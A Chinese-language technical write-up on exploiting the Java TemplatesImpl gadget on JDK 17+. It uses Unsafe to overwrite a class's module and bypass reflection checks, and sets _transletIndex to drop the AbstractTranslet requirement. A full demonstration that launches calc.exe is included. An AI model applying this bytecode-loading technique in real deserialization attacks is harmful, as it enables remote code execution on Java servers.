绕过反射限制!JDK高版本下TemplatesImpl的利用!
字数 1683 2025-09-23 19:27:46

JDK高版本下TemplatesImpl利用链绕过反射限制技术分析

1. TemplatesImpl利用链基础回顾

1.1 基本利用链

TemplatesImpl利用链调用流程如下:

TemplatesImpl#getOutputProperties() 
-> TemplatesImpl#newTransformer() 
-> TemplatesImpl#getTransletInstance() 
-> TemplatesImpl#defineTransletClasses() 
-> TransletClassLoader#defineClass()

1.2 关键点分析

  1. defineClass方法访问控制

    • TemplatesImpl类重写了defineClass方法,且没有显式声明作用域(默认为default)
    • 这使得外部可以调用该方法,而ClassLoader#defineClass是protected的
  2. 必要参数设置

    • _bytecodes:要加载的恶意字节码
    • _name:不能为空
    • _tfactory:需要设置为TransformerFactoryImpl实例
  3. 传统限制条件

    • 恶意类必须继承com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet
    • 否则在defineTransletClasses()方法中会抛出异常

2. JDK高版本的限制问题

2.1 JDK9+模块系统(JPMS)的影响

  1. 内部API封装

    • com.sun.*等内部类被模块系统强封装
    • 默认不可访问
  2. 反射限制

    • JDK17+即使使用setAccessible(true)也会被InaccessibleObjectException拦截
    • 需要添加JVM参数--add-opens或使用Java Agent

2.2 具体表现

  • 直接使用TemplatesImpl会抛出异常
  • setAccessible方法受到严格限制

3. 绕过技术分析

3.1 使用Unsafe类绕过模块限制

3.1.1 Unsafe类基础

  • 位于sun.misc包
  • 提供低级别、不安全操作(直接内存访问等)
  • 获取方式:
private static Unsafe getUnsafe() {
    try {
        Field field = Unsafe.class.getDeclaredField("theUnsafe");
        field.setAccessible(true);
        return (Unsafe) field.get(null);
    } catch (Exception e) {
        throw new AssertionError(e);
    }
}

3.1.2 绕过原理

  1. 模块检查机制

    • checkCanSetAccessible方法检查调用者模块与声明成员类的模块
    • 如果相同或调用者是未知模块(Object.class.getModule),则允许访问
  2. 利用Unsafe修改模块

    • 使用Unsafe修改当前类的module为Object.class.getModule()
    • 绕过模块检查
public static void test2_bypassJDK() throws ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
    Class<?> unSafe = Class.forName("sun.misc.Unsafe");
    Field unSafeField = unSafe.getDeclaredField("theUnsafe");
    unSafeField.setAccessible(true);
    Unsafe unSafeClass = (Unsafe) unSafeField.get(null);
    Module baseModule = Object.class.getModule();
    Class<?> currentClass = TemplatesImplDemo.class;
    long addr = unSafeClass.objectFieldOffset(Class.class.getDeclaredField("module"));
    unSafeClass.getAndSetObject(currentClass, addr, baseModule);
}

3.2 绕过AbstractTranslet继承限制

3.2.1 传统限制分析

  • _transletIndex必须指向继承AbstractTranslet的类
  • 否则抛出异常

3.2.2 绕过方法

  1. 直接设置_transletIndex

    • _transletIndex不是transient,可以通过反射设置
    • 设置为0指向第一个类
  2. 处理_auxClasses

    • 当类不继承AbstractTranslet时,会向_auxClasses添加数据
    • 需要保证_auxClasses不为空
    • 通过传入多个类(_bytecodes数组长度>1)自动初始化_auxClasses
public static void test1() throws Exception {
    byte[] payload = getTemplateCode();
    byte[] nu11 = ClassPool.getDefault().makeClass("nu11").toBytecode();
    TemplatesImpl templates = new TemplatesImpl();
    setFieldValue(templates, "_bytecodes", new byte[][]{payload, nu11});
    setFieldValue(templates, "_name", "nu11");
    setFieldValue(templates, "_transletIndex", 0);
    setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
    templates.newTransformer();
}

4. 完整利用代码示例

package com.test;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import sun.misc.Unsafe;
import java.lang.reflect.Field;
import java.lang.module.Module;

public class TemplatesImplDemo {
    
    // 设置字段值
    public static void setFieldValue(Object obj, String fieldName, Object value) 
            throws NoSuchFieldException, IllegalAccessException {
        Field declaredField = obj.getClass().getDeclaredField(fieldName);
        declaredField.setAccessible(true);
        declaredField.set(obj, value);
    }
    
    // 生成恶意字节码
    public static byte[] getTemplateCode() throws Exception {
        ClassPool pool = ClassPool.getDefault();
        CtClass template = pool.makeClass("nu11nu11nu11nu11nu11");
        String block = "Runtime.getRuntime().exec(\"calc.exe\");";
        template.makeClassInitializer().insertBefore(block);
        return template.toBytecode();
    }
    
    // 绕过模块限制
    public static void bypassJDKModule() throws Exception {
        Class<?> unSafe = Class.forName("sun.misc.Unsafe");
        Field unSafeField = unSafe.getDeclaredField("theUnsafe");
        unSafeField.setAccessible(true);
        Unsafe unSafeClass = (Unsafe) unSafeField.get(null);
        Module baseModule = Object.class.getModule();
        Class<?> currentClass = TemplatesImplDemo.class;
        long addr = unSafeClass.objectFieldOffset(Class.class.getDeclaredField("module"));
        unSafeClass.getAndSetObject(currentClass, addr, baseModule);
    }
    
    // TemplatesImpl利用
    public static void exploit() throws Exception {
        byte[] payload = getTemplateCode();
        byte[] dummyClass = ClassPool.getDefault().makeClass("dummy").toBytecode();
        
        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates, "_bytecodes", new byte[][]{payload, dummyClass});
        setFieldValue(templates, "_name", "nu11");
        setFieldValue(templates, "_transletIndex", 0);
        setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
        
        templates.newTransformer();
    }
    
    public static void main(String[] args) throws Exception {
        System.out.println("Java Version: " + System.getProperty("java.version"));
        bypassJDKModule();
        exploit();
    }
}

5. 注意事项与解决方案

5.1 常见问题

  1. sun.misc包不存在

    • 需要确保JVM参数包含--add-opens=jdk.unsupported/sun.misc=ALL-UNNAMED
  2. 模块访问错误

    • 需要添加必要的--add-opens参数

5.2 推荐的JVM参数

--add-opens=java.base/java.io=ALL-UNNAMED 
--add-opens=jdk.unsupported/sun.misc=ALL-UNNAMED 
--add-opens java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED

6. 技术总结

  1. Unsafe绕过模块限制

    • 修改调用类模块为Object.class.getModule()
    • 绕过checkCanSetAccessible检查
  2. 非AbstractTranslet子类利用

    • 直接设置_transletIndex
    • 提供多个类确保_auxClasses初始化
  3. 高版本JDK适应性

    • 该方法适用于JDK17+环境
    • 结合反序列化可构成完整攻击链

7. 参考资源

  1. Unsafe绕过高版本JDK反射限制
  2. 高版本JDK下的Spring原生反序列化链
  3. 去除AbstractTranslet限制技术
  4. BeichenDream的Kcon2021Code示例
  5. Oracle官方JDK迁移指南
JDK高版本下TemplatesImpl利用链绕过反射限制技术分析 1. TemplatesImpl利用链基础回顾 1.1 基本利用链 TemplatesImpl利用链调用流程如下: 1.2 关键点分析 defineClass方法访问控制 : TemplatesImpl类重写了defineClass方法,且没有显式声明作用域(默认为default) 这使得外部可以调用该方法,而ClassLoader#defineClass是protected的 必要参数设置 : _bytecodes :要加载的恶意字节码 _name :不能为空 _tfactory :需要设置为TransformerFactoryImpl实例 传统限制条件 : 恶意类必须继承 com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet 否则在 defineTransletClasses() 方法中会抛出异常 2. JDK高版本的限制问题 2.1 JDK9+模块系统(JPMS)的影响 内部API封装 : com.sun.* 等内部类被模块系统强封装 默认不可访问 反射限制 : JDK17+即使使用 setAccessible(true) 也会被 InaccessibleObjectException 拦截 需要添加JVM参数 --add-opens 或使用Java Agent 2.2 具体表现 直接使用TemplatesImpl会抛出异常 setAccessible方法受到严格限制 3. 绕过技术分析 3.1 使用Unsafe类绕过模块限制 3.1.1 Unsafe类基础 位于sun.misc包 提供低级别、不安全操作(直接内存访问等) 获取方式: 3.1.2 绕过原理 模块检查机制 : checkCanSetAccessible 方法检查调用者模块与声明成员类的模块 如果相同或调用者是未知模块(Object.class.getModule),则允许访问 利用Unsafe修改模块 : 使用Unsafe修改当前类的module为Object.class.getModule() 绕过模块检查 3.2 绕过AbstractTranslet继承限制 3.2.1 传统限制分析 _transletIndex 必须指向继承AbstractTranslet的类 否则抛出异常 3.2.2 绕过方法 直接设置_ transletIndex : _transletIndex 不是transient,可以通过反射设置 设置为0指向第一个类 处理_ auxClasses : 当类不继承AbstractTranslet时,会向 _auxClasses 添加数据 需要保证 _auxClasses 不为空 通过传入多个类( _bytecodes 数组长度>1)自动初始化 _auxClasses 4. 完整利用代码示例 5. 注意事项与解决方案 5.1 常见问题 sun.misc包不存在 : 需要确保JVM参数包含 --add-opens=jdk.unsupported/sun.misc=ALL-UNNAMED 模块访问错误 : 需要添加必要的 --add-opens 参数 5.2 推荐的JVM参数 6. 技术总结 Unsafe绕过模块限制 : 修改调用类模块为Object.class.getModule() 绕过checkCanSetAccessible检查 非AbstractTranslet子类利用 : 直接设置 _transletIndex 提供多个类确保 _auxClasses 初始化 高版本JDK适应性 : 该方法适用于JDK17+环境 结合反序列化可构成完整攻击链 7. 参考资源 Unsafe绕过高版本JDK反射限制 高版本JDK下的Spring原生反序列化链 去除AbstractTranslet限制技术 BeichenDream的Kcon2021Code示例 Oracle官方JDK迁移指南